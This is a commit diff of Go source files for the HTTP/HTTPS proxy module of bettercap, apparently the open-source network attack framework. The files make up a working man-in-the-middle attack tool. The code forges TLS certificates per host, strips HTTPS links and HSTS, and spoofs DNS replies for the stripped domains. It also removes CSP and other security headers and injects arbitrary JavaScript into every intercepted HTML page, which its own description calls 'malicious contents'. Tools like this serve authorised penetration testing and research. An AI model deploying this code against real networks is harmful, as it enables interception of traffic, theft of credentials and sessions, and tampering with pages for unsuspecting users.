Refactoring modules

This commit is contained in:
Giuseppe Trotta 2019-02-10 23:58:08 +01:00
commit ed652622e2
89 changed files with 186 additions and 138 deletions

View file

@ -0,0 +1,114 @@
package http_proxy
import (
"github.com/bettercap/bettercap/session"
)
type HttpProxy struct {
session.SessionModule
proxy *HTTPProxy
}
func NewHttpProxy(s *session.Session) *HttpProxy {
p := &HttpProxy{
SessionModule: session.NewSessionModule("http.proxy", s),
proxy: NewHTTPProxy(s),
}
p.AddParam(session.NewIntParameter("http.port",
"80",
"HTTP port to redirect when the proxy is activated."))
p.AddParam(session.NewStringParameter("http.proxy.address",
session.ParamIfaceAddress,
session.IPv4Validator,
"Address to bind the HTTP proxy to."))
p.AddParam(session.NewIntParameter("http.proxy.port",
"8080",
"Port to bind the HTTP proxy to."))
p.AddParam(session.NewStringParameter("http.proxy.script",
"",
"",
"Path of a proxy JS script."))
p.AddParam(session.NewStringParameter("http.proxy.injectjs",
"",
"",
"URL, path or javascript code to inject into every HTML page."))
p.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
"false",
"Enable or disable SSL stripping."))
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.",
func(args []string) error {
return p.Start()
}))
p.AddHandler(session.NewModuleHandler("http.proxy off", "",
"Stop HTTP proxy.",
func(args []string) error {
return p.Stop()
}))
return p
}
func (p *HttpProxy) Name() string {
return "http.proxy"
}
func (p *HttpProxy) Description() string {
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
}
func (p *HttpProxy) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (p *HttpProxy) Configure() error {
var err error
var address string
var proxyPort int
var httpPort int
var scriptPath string
var stripSSL bool
var jsToInject string
if p.Running() {
return session.ErrAlreadyStarted
} else if err, address = p.StringParam("http.proxy.address"); err != nil {
return err
} else if err, proxyPort = p.IntParam("http.proxy.port"); err != nil {
return err
} else if err, httpPort = p.IntParam("http.port"); err != nil {
return err
} else if err, scriptPath = p.StringParam("http.proxy.script"); err != nil {
return err
} else if err, stripSSL = p.BoolParam("http.proxy.sslstrip"); err != nil {
return err
} else if err, jsToInject = p.StringParam("http.proxy.injectjs"); err != nil {
return err
}
return p.proxy.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL)
}
func (p *HttpProxy) Start() error {
if err := p.Configure(); err != nil {
return err
}
return p.SetRunning(true, func() {
p.proxy.Start()
})
}
func (p *HttpProxy) Stop() error {
return p.SetRunning(false, func() {
p.proxy.Stop()
})
}

View file

@ -0,0 +1,364 @@
package http_proxy
import (
"bufio"
"bytes"
"context"
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"time"
"github.com/bettercap/bettercap/firewall"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
btls "github.com/bettercap/bettercap/tls"
"github.com/elazarl/goproxy"
"github.com/inconshreveable/go-vhost"
"github.com/evilsocket/islazy/fs"
"github.com/evilsocket/islazy/tui"
)
const (
httpReadTimeout = 5 * time.Second
httpWriteTimeout = 10 * time.Second
)
type HTTPProxy struct {
Name string
Address string
Server *http.Server
Redirection *firewall.Redirection
Proxy *goproxy.ProxyHttpServer
Script *HttpProxyScript
CertFile string
KeyFile string
jsHook string
isTLS bool
isRunning bool
stripper *SSLStripper
sniListener net.Listener
sess *session.Session
}
func stripPort(s string) string {
ix := strings.IndexRune(s, ':')
if ix == -1 {
return s
}
return s[:ix]
}
func NewHTTPProxy(s *session.Session) *HTTPProxy {
p := &HTTPProxy{
Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(),
sess: s,
stripper: NewSSLStripper(s, false),
isTLS: false,
Server: nil,
}
p.Proxy.Verbose = false
p.Proxy.Logger.SetOutput(ioutil.Discard)
p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
if p.doProxy(req) {
if !p.isTLS {
req.URL.Scheme = "http"
}
req.URL.Host = req.Host
p.Proxy.ServeHTTP(w, req)
}
})
p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
p.Proxy.OnRequest().DoFunc(p.onRequestFilter)
p.Proxy.OnResponse().DoFunc(p.onResponseFilter)
return p
}
func (p *HTTPProxy) doProxy(req *http.Request) bool {
blacklist := []string{
"localhost",
"127.0.0.1",
}
if req.Host == "" {
log.Error("Got request with empty host: %v", req)
return false
}
host := strings.Split(req.Host, ":")[0]
for _, blacklisted := range blacklist {
if host == blacklisted {
log.Error("Got request with blacklisted host: %s", req.Host)
return false
}
}
return true
}
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scriptPath string, jsToInject string, stripSSL bool) error {
var err error
p.stripper.Enable(stripSSL)
p.Address = address
if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
} else if fs.Exists(jsToInject) {
if data, err := ioutil.ReadFile(jsToInject); err != nil {
return err
} else {
jsToInject = string(data)
}
}
if p.jsHook == "" && jsToInject != "" {
if !strings.HasPrefix(jsToInject, "<script ") {
jsToInject = fmt.Sprintf("<script type=\"text/javascript\">%s</script>", jsToInject)
}
p.jsHook = fmt.Sprintf("%s</head>", jsToInject)
}
if scriptPath != "" {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil {
return err
} else {
log.Debug("Proxy script %s loaded.", scriptPath)
}
}
p.Server = &http.Server{
Addr: fmt.Sprintf("%s:%d", p.Address, proxyPort),
Handler: p.Proxy,
ReadTimeout: httpReadTimeout,
WriteTimeout: httpWriteTimeout,
}
if !p.sess.Firewall.IsForwardingEnabled() {
log.Info("Enabling forwarding.")
p.sess.Firewall.EnableForwarding(true)
}
p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(),
"TCP",
httpPort,
p.Address,
proxyPort)
if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
return err
}
log.Debug("Applied redirection %s", p.Redirection.String())
p.sess.UnkCmdCallback = func(cmd string) bool {
if p.Script != nil {
return p.Script.OnCommand(cmd)
}
return false
}
return nil
}
func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
parts := strings.SplitN(host, ":", 2)
hostname := parts[0]
port := 443
if len(parts) > 1 {
port, err = strconv.Atoi(parts[1])
if err != nil {
port = 443
}
}
cert := getCachedCert(hostname, port)
if cert == nil {
log.Debug("Creating spoofed certificate for %s:%d", tui.Yellow(hostname), port)
cert, err = btls.SignCertificateForHost(ca, hostname, port)
if err != nil {
log.Warning("Cannot sign host certificate with provided CA: %s", err)
return nil, err
}
setCachedCert(hostname, port, cert)
}
config := tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}
return &config, nil
}
}
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string, jsToInject string, stripSSL bool) (err error) {
if p.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL); err != nil {
return err
}
p.isTLS = true
p.Name = "https.proxy"
p.CertFile = certFile
p.KeyFile = keyFile
rawCert, _ := ioutil.ReadFile(p.CertFile)
rawKey, _ := ioutil.ReadFile(p.KeyFile)
ourCa, err := tls.X509KeyPair(rawCert, rawKey)
if err != nil {
return err
}
if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil {
return err
}
goproxy.GoproxyCa = ourCa
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: TLSConfigFromCA(&ourCa)}
return nil
}
func (p *HTTPProxy) httpWorker() error {
p.isRunning = true
return p.Server.ListenAndServe()
}
type dumbResponseWriter struct {
net.Conn
}
func (dumb dumbResponseWriter) Header() http.Header {
panic("Header() should not be called on this ResponseWriter")
}
func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
}
return dumb.Conn.Write(buf)
}
func (dumb dumbResponseWriter) WriteHeader(code int) {
panic("WriteHeader() should not be called on this ResponseWriter")
}
func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
}
func (p *HTTPProxy) httpsWorker() error {
var err error
// listen to the TLS ClientHello but make it a CONNECT request instead
p.sniListener, err = net.Listen("tcp", p.Server.Addr)
if err != nil {
return err
}
p.isRunning = true
for p.isRunning {
c, err := p.sniListener.Accept()
if err != nil {
log.Warning("error accepting connection: %s.", err)
continue
}
go func(c net.Conn) {
now := time.Now()
c.SetReadDeadline(now.Add(httpReadTimeout))
c.SetWriteDeadline(now.Add(httpWriteTimeout))
tlsConn, err := vhost.TLS(c)
if err != nil {
log.Warning("error reading SNI: %s.", err)
return
}
hostname := tlsConn.Host()
if hostname == "" {
log.Warning("client does not support SNI.")
return
}
log.Debug("[%s] proxying connection from %s to %s", tui.Green("https.proxy"), tui.Bold(stripPort(c.RemoteAddr().String())), tui.Yellow(hostname))
req := &http.Request{
Method: "CONNECT",
URL: &url.URL{
Opaque: hostname,
Host: net.JoinHostPort(hostname, "443"),
},
Host: hostname,
Header: make(http.Header),
}
p.Proxy.ServeHTTP(dumbResponseWriter{tlsConn}, req)
}(c)
}
return nil
}
func (p *HTTPProxy) Start() {
go func() {
var err error
strip := tui.Yellow("enabled")
if !p.stripper.Enabled() {
strip = tui.Dim("disabled")
}
log.Info("%s started on %s (sslstrip %s)", tui.Green(p.Name), p.Server.Addr, strip)
if p.isTLS {
err = p.httpsWorker()
} else {
err = p.httpWorker()
}
if err != nil && err.Error() != "http: Server closed" {
log.Fatal("%s", err)
}
}()
}
func (p *HTTPProxy) Stop() error {
if p.Redirection != nil {
log.Debug("Disabling redirection %s", p.Redirection.String())
if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
return err
}
p.Redirection = nil
}
p.sess.UnkCmdCallback = nil
if p.isTLS {
p.isRunning = false
p.sniListener.Close()
return nil
} else {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
return p.Server.Shutdown(ctx)
}
}

View file

@ -0,0 +1,84 @@
package http_proxy
import (
"fmt"
"net/http"
"strings"
"sync"
"github.com/bettercap/bettercap/log"
"github.com/elazarl/goproxy"
"github.com/jpillora/go-tld"
)
type CookieTracker struct {
sync.RWMutex
set map[string]bool
}
func NewCookieTracker() *CookieTracker {
return &CookieTracker{
set: make(map[string]bool),
}
}
func (t *CookieTracker) domainOf(req *http.Request) string {
if parsed, err := tld.Parse(req.Host); err != nil {
log.Warning("Could not parse host %s: %s", req.Host, err)
return req.Host
} else {
return fmt.Sprintf("%s.%s", parsed.Domain, parsed.TLD)
}
}
func (t *CookieTracker) keyOf(req *http.Request) string {
client := strings.Split(req.RemoteAddr, ":")[0]
domain := t.domainOf(req)
return fmt.Sprintf("%s-%s", client, domain)
}
func (t *CookieTracker) IsClean(req *http.Request) bool {
// we only clean GET requests
if req.Method != "GET" {
return true
}
// does the request have any cookie?
cookie := req.Header.Get("Cookie")
if cookie == "" {
return true
}
t.RLock()
defer t.RUnlock()
// was it already processed?
if _, found := t.set[t.keyOf(req)]; found {
return true
}
// unknown session cookie
return false
}
func (t *CookieTracker) Track(req *http.Request) {
t.Lock()
defer t.Unlock()
t.set[t.keyOf(req)] = true
}
func (t *CookieTracker) Expire(req *http.Request) *http.Response {
domain := t.domainOf(req)
redir := goproxy.NewResponse(req, "text/plain", 302, "")
for _, c := range req.Cookies() {
redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, domain))
redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, c.Domain))
}
redir.Header.Add("Location", fmt.Sprintf("http://%s/", req.Host))
redir.Header.Add("Connection", "close")
return redir
}

View file

@ -0,0 +1,187 @@
package http_proxy
import (
"io/ioutil"
"net/http"
"strings"
"github.com/bettercap/bettercap/log"
"github.com/elazarl/goproxy"
"github.com/evilsocket/islazy/tui"
)
func (p *HTTPProxy) fixRequestHeaders(req *http.Request) {
req.Header.Del("Accept-Encoding")
req.Header.Del("If-None-Match")
req.Header.Del("If-Modified-Since")
req.Header.Del("Upgrade-Insecure-Requests")
req.Header.Set("Pragma", "no-cache")
}
func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
log.Debug("(%s) < %s %s %s%s", tui.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
p.fixRequestHeaders(req)
redir := p.stripper.Preprocess(req, ctx)
if redir != nil {
// we need to redirect the user in order to make
// some session cookie expire
return req, redir
}
// do we have a proxy script?
if p.Script == nil {
return req, nil
}
// run the module OnRequest callback if defined
jsreq, jsres := p.Script.OnRequest(req)
if jsreq != nil {
// the request has been changed by the script
p.logRequestAction(req, jsreq)
return jsreq.ToRequest(), nil
} else if jsres != nil {
// a fake response has been returned by the script
p.logResponseAction(req, jsres)
return req, jsres.ToResponse(req)
}
return req, nil
}
func (p *HTTPProxy) fixResponseHeaders(res *http.Response) {
res.Header.Del("Content-Security-Policy-Report-Only")
res.Header.Del("Content-Security-Policy")
res.Header.Del("Strict-Transport-Security")
res.Header.Del("Public-Key-Pins")
res.Header.Del("Public-Key-Pins-Report-Only")
res.Header.Del("X-Frame-Options")
res.Header.Del("X-Content-Type-Options")
res.Header.Del("X-WebKit-CSP")
res.Header.Del("X-Content-Security-Policy")
res.Header.Del("X-Download-Options")
res.Header.Del("X-Permitted-Cross-Domain-Policies")
res.Header.Del("X-Xss-Protection")
res.Header.Set("Allow-Access-From-Same-Origin", "*")
res.Header.Set("Access-Control-Allow-Origin", "*")
res.Header.Set("Access-Control-Allow-Methods", "*")
res.Header.Set("Access-Control-Allow-Headers", "*")
}
func (p *HTTPProxy) getHeader(res *http.Response, header string) string {
header = strings.ToLower(header)
for name, values := range res.Header {
for _, value := range values {
if strings.ToLower(name) == header {
return value
}
}
}
return ""
}
func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) {
if p.jsHook == "" {
return false, ""
} else if contentType := p.getHeader(res, "Content-Type"); strings.Contains(contentType, "text/html") {
return true, contentType
}
return false, ""
}
func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, *http.Response) {
defer res.Body.Close()
raw, err := ioutil.ReadAll(res.Body)
if err != nil {
return err, nil
} else if html := string(raw); strings.Contains(html, "</head>") {
log.Info("(%s) > injecting javascript (%d bytes) into %s (%d bytes) for %s",
tui.Green(p.Name),
len(p.jsHook),
tui.Yellow(res.Request.Host+res.Request.URL.Path),
len(raw),
tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0]))
html = strings.Replace(html, "</head>", p.jsHook, -1)
newResp := goproxy.NewResponse(res.Request, cType, res.StatusCode, html)
for k, vv := range res.Header {
for _, v := range vv {
newResp.Header.Add(k, v)
}
}
return nil, newResp
}
return nil, nil
}
func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
// sometimes it happens ¯\_(ツ)_/¯
if res == nil {
return nil
}
log.Debug("(%s) > %s %s %s%s", tui.Green(p.Name), res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path)
p.fixResponseHeaders(res)
p.stripper.Process(res, ctx)
// do we have a proxy script?
if p.Script != nil {
_, jsres := p.Script.OnResponse(res)
if jsres != nil {
// the response has been changed by the script
p.logResponseAction(res.Request, jsres)
return jsres.ToResponse(res.Request)
}
}
// inject javascript code if specified and needed
if doInject, cType := p.isScriptInjectable(res); doInject {
if err, injectedResponse := p.doScriptInjection(res, cType); err != nil {
log.Error("(%s) error while injecting javascript: %s", p.Name, err)
} else if injectedResponse != nil {
return injectedResponse
}
}
return res
}
func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
p.sess.Events.Add(p.Name+".spoofed-request", struct {
To string
Method string
Host string
Path string
Size int
}{
strings.Split(req.RemoteAddr, ":")[0],
jsreq.Method,
jsreq.Hostname,
jsreq.Path,
len(jsreq.Body),
})
}
func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) {
p.sess.Events.Add(p.Name+".spoofed-response", struct {
To string
Method string
Host string
Path string
Size int
}{
strings.Split(req.RemoteAddr, ":")[0],
req.Method,
req.Host,
req.URL.Path,
len(jsres.Body),
})
}

View file

@ -0,0 +1,62 @@
package http_proxy
import (
"net"
"sync"
"github.com/bettercap/bettercap/log"
)
type Host struct {
Hostname string
Address net.IP
Resolved sync.WaitGroup
}
func NewHost(name string) *Host {
h := &Host{
Hostname: name,
Address: nil,
Resolved: sync.WaitGroup{},
}
h.Resolved.Add(1)
go func(ph *Host) {
defer ph.Resolved.Done()
if addrs, err := net.LookupIP(ph.Hostname); err == nil && len(addrs) > 0 {
ph.Address = make(net.IP, len(addrs[0]))
copy(ph.Address, addrs[0])
} else {
log.Error("Could not resolve %s: %s", ph.Hostname, err)
ph.Address = nil
}
}(h)
return h
}
type HostTracker struct {
sync.RWMutex
hosts map[string]*Host
}
func NewHostTracker() *HostTracker {
return &HostTracker{
hosts: make(map[string]*Host),
}
}
func (t *HostTracker) Track(host, stripped string) {
t.Lock()
defer t.Unlock()
t.hosts[stripped] = NewHost(host)
}
func (t *HostTracker) Unstrip(stripped string) *Host {
t.RLock()
defer t.RUnlock()
if host, found := t.hosts[stripped]; found {
return host
}
return nil
}

View file

@ -0,0 +1,365 @@
package http_proxy
import (
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"regexp"
"strings"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/elazarl/goproxy"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/evilsocket/islazy/tui"
)
var (
maxRedirs = 5
httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
subdomains = map[string]string{
"www": "wwwww",
"webmail": "wwebmail",
"mail": "wmail",
"m": "wmobile",
}
)
type SSLStripper struct {
enabled bool
session *session.Session
cookies *CookieTracker
hosts *HostTracker
handle *pcap.Handle
pktSourceChan chan gopacket.Packet
redirs map[string]int
}
func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper {
strip := &SSLStripper{
enabled: false,
cookies: NewCookieTracker(),
hosts: NewHostTracker(),
session: s,
handle: nil,
redirs: make(map[string]int),
}
strip.Enable(enabled)
return strip
}
func (s *SSLStripper) Enabled() bool {
return s.enabled
}
func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
redir := fmt.Sprintf("(->%s)", address)
who := target.String()
if t, found := s.session.Lan.Get(target.String()); found {
who = t.String()
}
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error
var src, dst net.IP
nlayer := pkt.NetworkLayer()
if nlayer == nil {
log.Debug("Missing network layer skipping packet.")
return
}
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
src = pip.DstIP
dst = pip.SrcIP
eth := layers.Ethernet{
SrcMAC: peth.DstMAC,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv4,
}
answers := make([]layers.DNSResourceRecord, 0)
for _, q := range req.Questions {
answers = append(answers,
layers.DNSResourceRecord{
Name: []byte(q.Name),
Type: q.Type,
Class: q.Class,
TTL: 1024,
IP: address,
})
}
dns := layers.DNS{
ID: req.ID,
QR: true,
OpCode: layers.DNSOpCodeQuery,
QDCount: req.QDCount,
Questions: req.Questions,
Answers: answers,
}
ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip4)
var raw []byte
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
typeEth := pkt.Layer(layers.LayerTypeEthernet)
typeUDP := pkt.Layer(layers.LayerTypeUDP)
if typeEth == nil || typeUDP == nil {
return
}
eth := typeEth.(*layers.Ethernet)
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
udp := typeUDP.(*layers.UDP)
for _, q := range dns.Questions {
domain := string(q.Name)
original := s.hosts.Unstrip(domain)
if original != nil && original.Address != nil {
s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
}
}
}
}
func (s *SSLStripper) Enable(enabled bool) {
s.enabled = enabled
if enabled && s.handle == nil {
var err error
if s.handle, err = pcap.OpenLive(s.session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
panic(err)
}
if err = s.handle.SetBPFFilter("udp"); err != nil {
panic(err)
}
go func() {
defer func() {
s.handle.Close()
s.handle = nil
}()
for s.enabled {
src := gopacket.NewPacketSource(s.handle, s.handle.LinkType())
s.pktSourceChan = src.Packets()
for packet := range s.pktSourceChan {
if !s.enabled {
break
}
s.onPacket(packet)
}
}
}()
}
}
func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
for name, values := range res.Header {
for _, value := range values {
if name == "Content-Type" {
return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript")
}
}
}
return false
}
func (s *SSLStripper) processURL(url string) string {
// first we remove the https schema
url = strings.Replace(url, "https://", "http://", 1)
// search for a known subdomain and replace it
found := false
for sub, repl := range subdomains {
what := fmt.Sprintf("://%s", sub)
with := fmt.Sprintf("://%s", repl)
if strings.Contains(url, what) {
url = strings.Replace(url, what, with, 1)
found = true
break
}
}
// fallback
if !found {
url = strings.Replace(url, "://", "://wwww.", 1)
}
return url
}
// sslstrip preprocessing, takes care of:
//
// - handling stripped domains
// - making unknown session cookies expire
func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) {
if !s.enabled {
return
}
// well ...
if req.URL.Scheme == "https" {
// TODO: check for max redirects?
req.URL.Scheme = "http"
}
// handle stripped domains
original := s.hosts.Unstrip(req.Host)
if original != nil {
log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
req.Host = original.Hostname
req.URL.Host = original.Hostname
req.Header.Set("Host", original.Hostname)
}
if !s.cookies.IsClean(req) {
// check if we need to redirect the user in order
// to make unknown session cookies expire
log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr)
s.cookies.Track(req)
redir = s.cookies.Expire(req)
}
return
}
func (s *SSLStripper) isMaxRedirs(hostname string) bool {
// did we already track redirections for this host?
if nredirs, found := s.redirs[hostname]; found {
// reached the threshold?
if nredirs >= maxRedirs {
log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname)
// reset
delete(s.redirs, hostname)
return true
} else {
// increment
s.redirs[hostname]++
}
} else {
// start tracking redirections
s.redirs[hostname] = 1
}
return false
}
func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
if !s.enabled {
return
}
// is the server redirecting us?
if res.StatusCode != 200 {
// extract Location header
if location, err := res.Location(); location != nil && err == nil {
orig := res.Request.URL
origHost := orig.Hostname()
newHost := location.Host
newURL := location.String()
// are we getting redirected from http to https?
if orig.Scheme == "http" && location.Scheme == "https" {
log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
// if we still did not reach max redirections, strip the URL down to
// an alternative HTTP version
if !s.isMaxRedirs(origHost) {
strippedURL := s.processURL(newURL)
u, _ := url.Parse(strippedURL)
hostStripped := u.Hostname()
s.hosts.Track(origHost, hostStripped)
res.Header.Set("Location", strippedURL)
}
}
}
}
// if we have a text or html content type, fetch the body
// and perform sslstripping
if s.isContentStrippable(res) {
raw, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Error("Could not read response body: %s", err)
return
}
body := string(raw)
urls := make(map[string]string)
matches := httpsLinksParser.FindAllString(body, -1)
for _, u := range matches {
// make sure we only strip stuff we're able to
// resolve and process
if strings.ContainsRune(u, '.') {
urls[u] = s.processURL(u)
}
}
nurls := len(urls)
if nurls > 0 {
plural := "s"
if nurls == 1 {
plural = ""
}
log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
}
for url, stripped := range urls {
log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped))
body = strings.Replace(body, url, stripped, -1)
hostOriginal := strings.Replace(url, "https://", "", 1)
hostStripped := strings.Replace(stripped, "http://", "", 1)
s.hosts.Track(hostOriginal, hostStripped)
}
// reset the response body to the original unread state
// but with just a string reader, this way further calls
// to ioutil.ReadAll(res.Body) will just return the content
// we stripped without downloading anything again.
res.Body = ioutil.NopCloser(strings.NewReader(body))
}
}

View file

@ -0,0 +1,33 @@
package http_proxy
import (
"crypto/tls"
"fmt"
"sync"
)
var (
certCache = make(map[string]*tls.Certificate)
certLock = &sync.Mutex{}
)
func getCachedCert(domain string, port int) *tls.Certificate {
key := fmt.Sprintf("%s:%d", domain, port)
certLock.Lock()
defer certLock.Unlock()
if cert, found := certCache[key]; found {
return cert
}
return nil
}
func setCachedCert(domain string, port int, cert *tls.Certificate) {
key := fmt.Sprintf("%s:%d", domain, port)
certLock.Lock()
defer certLock.Unlock()
certCache[key] = cert
}

View file

@ -0,0 +1,192 @@
package http_proxy
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strings"
)
type JSRequest struct {
Client string
Method string
Version string
Scheme string
Path string
Query string
Hostname string
ContentType string
Headers string
Body string
req *http.Request
refHash string
bodyRead bool
}
var header_regexp = regexp.MustCompile(`(.*?): (.*)`)
func NewJSRequest(req *http.Request) *JSRequest {
headers := ""
cType := ""
for name, values := range req.Header {
for _, value := range values {
headers += name + ": " + value + "\r\n"
if strings.ToLower(name) == "content-type" {
cType = value
}
}
}
jreq := &JSRequest{
Client: strings.Split(req.RemoteAddr, ":")[0],
Method: req.Method,
Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
Scheme: req.URL.Scheme,
Hostname: req.Host,
Path: req.URL.Path,
Query: req.URL.RawQuery,
ContentType: cType,
Headers: headers,
req: req,
bodyRead: false,
}
jreq.UpdateHash()
return jreq
}
func (j *JSRequest) NewHash() string {
hash := fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s.%s", j.Client, j.Method, j.Version, j.Scheme, j.Hostname, j.Path, j.Query, j.ContentType, j.Headers)
hash += "." + j.Body
return hash
}
func (j *JSRequest) UpdateHash() {
j.refHash = j.NewHash()
}
func (j *JSRequest) WasModified() bool {
// body was read
if j.bodyRead {
return true
}
// check if any of the fields has been changed
return j.NewHash() != j.refHash
}
func (j *JSRequest) GetHeader(name, deflt string) string {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
return header_value
}
}
return deflt
}
func (j *JSRequest) SetHeader(name, value string) {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
old_header := header_name + ": " + header_value + "\r\n"
new_header := header_name + ": " + value + "\r\n"
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
return
}
}
j.Headers += name + ": " + value + "\r\n"
}
func (j *JSRequest) RemoveHeader(name string) {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
removed_header := header_name + ": " + header_value + "\r\n"
j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
return
}
}
}
func (j *JSRequest) ReadBody() string {
raw, err := ioutil.ReadAll(j.req.Body)
if err != nil {
return ""
}
j.Body = string(raw)
j.bodyRead = true
// reset the request body to the original unread state
j.req.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
return j.Body
}
